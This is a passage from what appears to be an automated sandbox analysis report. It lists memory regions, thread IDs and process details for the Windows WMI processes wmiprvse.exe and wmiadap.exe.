"private_0x000007fffff8e000" filename = "" Region: id = 1318 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1319 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 41 os_tid = 0xbe8 Thread: id = 42 os_tid = 0xae4 Thread: id = 43 os_tid = 0xa44 Thread: id = 44 os_tid = 0xa40 Thread: id = 45 os_tid = 0xa3c Thread: id = 46 os_tid = 0xa30 Thread: id = 47 os_tid = 0x42c Thread: id = 48 os_tid = 0x370 Thread: id = 49 os_tid = 0x6f0 Thread: id = 50 os_tid = 0x6e4 Thread: id = 51 os_tid = 0x6d4 Thread: id = 52 os_tid = 0x6c4 Thread: id = 53 os_tid = 0x6b8 Thread: id = 54 os_tid = 0x6b0 Thread: id = 55 os_tid = 0x684 Thread: id = 56 os_tid = 0x494 Thread: id = 57 os_tid = 0x450 Thread: id = 58 os_tid = 0x444 Thread: id = 59 os_tid = 0x410 Thread: id = 60 os_tid = 0x408 Thread: id = 61 os_tid = 0x14c Thread: id = 62 os_tid = 0x37c Thread: id = 63 os_tid = 0x11c Thread: id = 64 os_tid = 0x3f8 Thread: id = 65 os_tid = 0x3ec Thread: id = 66 os_tid = 0x3a0 Thread: id = 67 os_tid = 0x394 Thread: id = 68 os_tid = 0x380 Thread: id = 69 os_tid = 0x378 Thread: id = 71 os_tid = 0x568 Thread: id = 72 os_tid = 0x878 Thread: id = 73 os_tid = 0x880 Thread: id = 82 os_tid = 0x698 Thread: id = 110 os_tid = 0x43c Thread: id = 123 os_tid = 0x89c Thread: id = 124 os_tid = 0x8a8 Thread: id = 125 os_tid = 0x954 Thread: id = 126 os_tid = 0x96c Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x38b11000" os_pid = "0x764" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0010d6ae" [0xc000000f] Region: id = 882 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 883 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 884 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 885 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 886 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 887 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 888 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 889 start_va = 0xe0000 end_va = 0x19ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 890 start_va = 0x1a0000 end_va = 0x1a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 891 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 892 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 893 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 894 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 895 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 896 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 897 start_va = 0x410000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 898 start_va = 0x510000 end_va = 0x697fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 899 start_va = 0x6a0000 end_va = 0x820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 900 start_va = 0x830000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 901 start_va = 0x960000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 902 start_va = 0x9e0000 end_va = 0xcaefff entry_point = 0x9e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 903 start_va = 0xcb0000 end_va = 0x10a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 904 start_va = 0x10e0000 end_va = 0x115ffff entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 905 start_va = 0x11b0000 end_va = 0x122ffff entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 906 start_va = 0x12b0000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 907 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 908 start_va = 0x1440000 end_va = 0x14bffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 909 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 910 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 911 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 912 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 913 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 914 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 915 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 916 start_va = 0xff100000 end_va = 0xff15efff entry_point = 0xff100000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 917 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 918 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 919 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 920 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 921 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 922 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 923 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 924 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 925 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 926 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 927 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 928 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 929 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 930 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 931 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 932 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 933 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 934 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 935 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 936 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 937 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 938 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 939 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 940 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 941 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 942 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 943 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 944 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 945 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 946 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 947 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 948 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 949 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 950 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 951 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 952 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 953 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 954 start_va = 0x7feee3c0000 end_va = 0x7feee5b9fff entry_point = 0x7feee3c0000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 955 start_va = 0x7fef4520000 end_va = 0x7fef456bfff entry_point = 0x7fef4520000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 956 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 957 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 958 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 959 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 960 start_va = 0x1560000 end_va = 0x18a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001560000" filename = "" Region: id = 961 start_va = 0x75290000 end_va = 0x75292fff entry_point = 0x75290000 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 962 start_va = 0x7fef8ec0000 end_va = 0x7fef8ecafff entry_point = 0x7fef8ec0000 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 963 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 74 os_tid = 0x540 Thread: id = 75 os_tid = 0x5ac Thread: id = 76 os_tid = 0x548 Thread: id = 77 os_tid = 0x5e8 Thread: id = 78 os_tid = 0x6d8 Thread: id = 79 os_tid = 0x3b8 Thread: id = 80 os_tid = 0x3c8 Thread: id = 81 os_tid = 0x688 Process: id = "8" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x33f30000" os_pid = "0x5b0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x374" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 964 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 965 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 966 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 967 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 968 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 969 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 970 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 971 start_va = 0xff9f0000 end_va = 0xffa1ffff entry_point = 0xff9f0000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 972 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 973 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 974 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 975 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 976 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 977 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 978 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 979 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 980 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 981 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 982 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 983 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 984 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 985 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 986 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 987 start_va = 0x450000 end_va = 0x5d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 988 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 989 start_va = 0x770000 end_va = 0x82ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 990 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 991 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 992 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 993 start_va = 0x7feef450000 end_va = 0x7feef476fff entry_point = 0x7feef450000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 994 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 995 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 996 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 997 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 998 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 999 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1000 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1001 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1002 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1003 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1004 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1005 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1006 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1007 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1169 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1170 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1171 start_va = 0x840000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 1172 start_va = 0x990000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 1173 start_va = 0xa50000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1174 start_va = 0xaf0000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1175 start_va = 0xb70000 end_va = 0xe3efff entry_point = 0xb70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1176 start_va = 0xe90000 end_va = 